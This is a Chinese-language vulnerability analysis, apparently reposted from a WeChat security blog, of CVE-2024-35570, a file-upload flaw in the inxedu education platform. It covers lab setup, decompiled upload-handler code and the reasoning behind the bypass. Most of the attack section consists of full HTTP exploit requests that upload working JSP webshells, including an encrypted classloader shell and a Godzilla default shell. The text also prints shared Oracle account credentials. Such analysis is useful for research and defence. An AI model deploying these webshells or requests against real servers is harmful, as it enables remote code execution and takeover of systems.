CVE-2024-35570 漏洞分析
看见网上推送CVE-2024-35570 漏洞的相关信息,一时兴起来分析一下漏洞成因
发现是一个利用场景比较苛刻的(water洞)
系统信息
inxedu因酷教育平台
开源地址如下,主要看gitee的官方代码
https://gitee.com/inxeduopen/inxedu
gitee这里也贴出了部署要求:
建议开发者使用以下环境,这样避免版本带来的问题 IDE:eclipse,idea DB:Mysql5.5 JDK:JAVA 7 tomcat:tomcat 7.0.68以上
安装系统
打包、部署的流程可以参考项目里面的使用教程文件夹下的doc
jdk7以上,jdk8其实也行,下载链接:https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html
oracle共享账号:[email protected] 密码:Oracle0.
mysql5.5:docker run -it --name mysql5 -e MYSQL_ROOT_PASSWORD=root -p 3306:3306 mysql:5.5
tomcat7.0.68 : docker run -it tomcat:7.0.68
导入mysql数据(需要把sql的表名全部换成大写,不然后续使用有点问题)
docker exec -it mysql5 bash
mysql -uroot -proot
source /tmp/demo_inxedu_v2_0_open.sql;
navicat连接查看是否有什么问题
修改一下源码的配置文件
再改一下pom.xml
<!-- tomcat plugin -->
<plugin>
<groupId>org.apache.tomcat.maven</groupId>
<artifactId>tomcat7-maven-plugin</artifactId>
<version>2.2</version>
<configuration>
<path>/</path>
<port>80</port>
<uriEncoding>UTF-8</uriEncoding>
<url>http://127.0.0.1/manager</url>
<server>tomcat7</server>
<contextReloadable>true</contextReloadable>
<warSourceDirectory>src/main/webapp</warSourceDirectory>
<contextReloadable>false</contextReloadable>
</configuration>
</plugin>
设置一下项目结构
使用idea的编译器可以打包得到一个war包,我们把这个war包放到tomcat的容器中就可以部署了
docker run -itd --net=host --name tomcat -v /root/inxedu.war:/usr/local/tomcat/webapps/inxedu.war tomcat:7.0.68
跑起来的效果大概如下图(为什么展示后台呢 因为前台的图片资源没加载好,排查了一下原因是因为数据库里的表名是小写的,连接用到的是大写的)
http://192.168.3.102:8080/inxedu/admin
批量换一下表名,选中生成的结果,整列复制再放进去执行就可以了
SET @schema_name = 'demo_inxedu_v2_0_open'; -- 数据库名
SELECT CONCAT('RENAME TABLE `', table_name, '` TO `', UPPER(table_name), '`;')
FROM information_schema.tables
WHERE table_schema = @schema_name;
-- 这会生成所有表的重命名语句,直接执行生成的语句即可完成表名转换。
然后重新导入了一下数据库资源(大小写的表共存),跑起来的前后台效果大概如下图
后台因为tomcat部署的原因,解压inxedu.war包的时候出现了路由会存在问题,重新配置端口和tomcat就可以了或者直接这样
docker run -itd --net=host --name tomcat -v /root/inxedu.war:/usr/local/tomcat/webapps/ROOT.war tomcat:7.0.68
然后删掉原来的ROOT文件夹
要调试只需要在/usr/local/tomcat/bin/catalina.sh开头加上
JAVA_OPTS="$JAVA_OPTS -Xrunjdwp:transport=dt_socket,address=0.0.0.0:8000,suspend=n,server=y"
就可以用idea连接目标的8000端口调试了
POC分析
根据CVE-2024-35570的描述简单找找漏洞
搜索了一下CVE-2024-35570 漏洞的相关资料,找到了原作者
https://github.com/KakeruJ/CVE/?tab=readme-ov-file
公开的poc如下
POST /image/gok4?¶m=image&fileType=jpg,gif,png,jpeg,jspx&pressText=undefined HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------1193235141139104622277612664
Content-Length: 883
Origin: http://127.0.0.1:8080
Connection: close
Referer: http://127.0.0.1:8080/admin/website/doAddImages
Cookie: JSESSIONID=10EC81B49E27265587A446F32099DBE3; inxedulogin_sys_user_=inxedulogin_sys_user_1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
-----------------------------1193235141139104622277612664
Content-Disposition: form-data; name="uploadfile"; filename="1.jspx"
Content-Type: image/jpeg
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:directive.page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"/><jsp:declaration> class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}</jsp:declaration><jsp:scriptlet>String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);</jsp:scriptlet></jsp:root>
-----------------------------1193235141139104622277612664--
理论上可以直接定位到这个class文件中,但是我翻了一下inxedu的源码,并没有找到该文件
但是根据漏洞poc的路由gok4来看,漏洞应该是存在的,而且我的环境中路由也是存在的,那看来是我的代码找错了
解压编译出来的inxedu.war,在目录inxeduWEB-INFlib下可以找到inxedu-jar.jar
拉到jd-gui.jar中查看反编译的源码,在项目中直接search漏洞的关键函数gok4
函数代码很简单,访问/image/gok4?=¶m=image&fileType=jpg,gif,png,jpeg&pressText=undefined
@RequestMapping(value = {"/gok4"}, method = {RequestMethod.POST})
public String gok4(HttpServletRequest request, HttpServletResponse response, @RequestParam(value = "uploadfile", required = true) MultipartFile uploadfile, @RequestParam(value = "param", required = false) String param, @RequestParam(value = "fileType", required = true) String fileType, @RequestParam(value = "pressText", required = false) String pressText) {
try {
long maxSize = 4096000L;
System.out.println(uploadfile.getSize());
if (uploadfile.getSize() > maxSize)
return responseErrorData(response, 1, ");
String[] type = fileType.split(",");
setFileTypeList(type);
String ext = FileUploadUtils.getSuffix(uploadfile.getOriginalFilename());
if (fileType.contains(ext) && !"jsp".equals(ext)) {
String filePath = getPath(request, ext, param);
File file = new File(getProjectRootDirPath(request) + filePath);
if (!file.getParentFile().exists())
file.getParentFile().mkdirs();
uploadfile.transferTo(file);
return responseData(filePath, 0, ", response);
}
return responseErrorData(response, 1, ");
} catch (Exception var13) {
logger.error("gok4()--error", var13);
return responseErrorData(response, 2, ");
}
}
草草看一下函数,可以发现后缀名不为jsp就可以进行文件写入
那么根据java的特性,Java可以解析JSP(JavaServer Pages)和JSPX(JavaServer Pages XML)只要写入jspx就可以上传webshell了
但是很遗憾,这里上传jpg图片可以
直接使用poc来上传jspx木马就是不行
仔细看一下判断语句
if (fileType.contains(ext) && !"jsp".equals(ext)) {
可以发现这里要求ext必须在列表fileType中,而fileType其实就是我们传入的参数,那么poc稍作修改就可以使用了
POST /image/gok4?¶m=image&fileType=jpg,gif,png,jpeg,jspx&pressText=undefined HTTP/1.1
Host: 192.168.3.102:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------308436435515370414691526924874
Content-Length: 230
Origin: http://192.168.3.102:8080
Connection: close
Referer: http://192.168.3.102:8080/admin/website/doUpdateImages/309
Cookie: inxedulogin_sys_user_=inxedulogin_sys_user_1; JSESSIONID=F12B2A21EAD7DF985154060A4371F753
Upgrade-Insecure-Requests: 1
Priority: u=4
-----------------------------308436435515370414691526924874
Content-Disposition: form-data; name="uploadfile"; filename="1.jspx"
Content-Type: image/jpeg
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:directive.page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"/><jsp:declaration> class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}</jsp:declaration><jsp:scriptlet>String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);</jsp:scriptlet></jsp:root>
-----------------------------308436435515370414691526924874--
那么这里的任意文件写入就成立了,本来想着不只是webshell,也可以上传计划任务文件啥的,但是跟进去一看,文件名直接被编码成了时间戳
private String getPath(HttpServletRequest request, String ext, String param) {
String filePath = "/images/upload/";
if (param != null && param.trim().length() > 0) {
filePath = filePath + param;
} else {
filePath = filePath + CommonConstants.projectName;
}
filePath = filePath + "/" + DateUtils.toString(new Date(), "yyyyMMdd") + "/" + System.currentTimeMillis() + "." + ext;
return filePath;
}
而后缀取的是最后一个/或者\
前的字符串,所以没办法目录穿越,只能在当前目录下写入
最终没什么用的POC
最终poc如下,内容可以自己换,这里是哥斯拉的默认马子
POST /image/gok4?¶m=image&fileType=jpg,gif,png,jpeg,jspx&pressText=undefined HTTP/1.1
Host: 192.168.3.102:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------308436435515370414691526924874
Content-Length: 2853
Origin: http://192.168.3.102:8080
Connection: close
Referer: http://192.168.3.102:8080/admin/website/doUpdateImages/309
Upgrade-Insecure-Requests: 1
Priority: u=4
-----------------------------308436435515370414691526924874
Content-Disposition: form-data; name="uploadfile"; filename="../../../../2.jspx"
Content-Type: image/jpeg
<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}
%>
-----------------------------308436435515370414691526924874--
能传马子,但是我的容器好像是不解析的
排查了一下原因,因为项目中默认的web.xml是解析jsp,不解析jspx的,所以利用场景较少,算是比较鸡肋的洞了
上服务器把后缀改成jsp,才能正常解析
原文始发于微信公众号(安全光圈):因酷教育平台(CVE-2024-35570)虚假的未授权rce漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论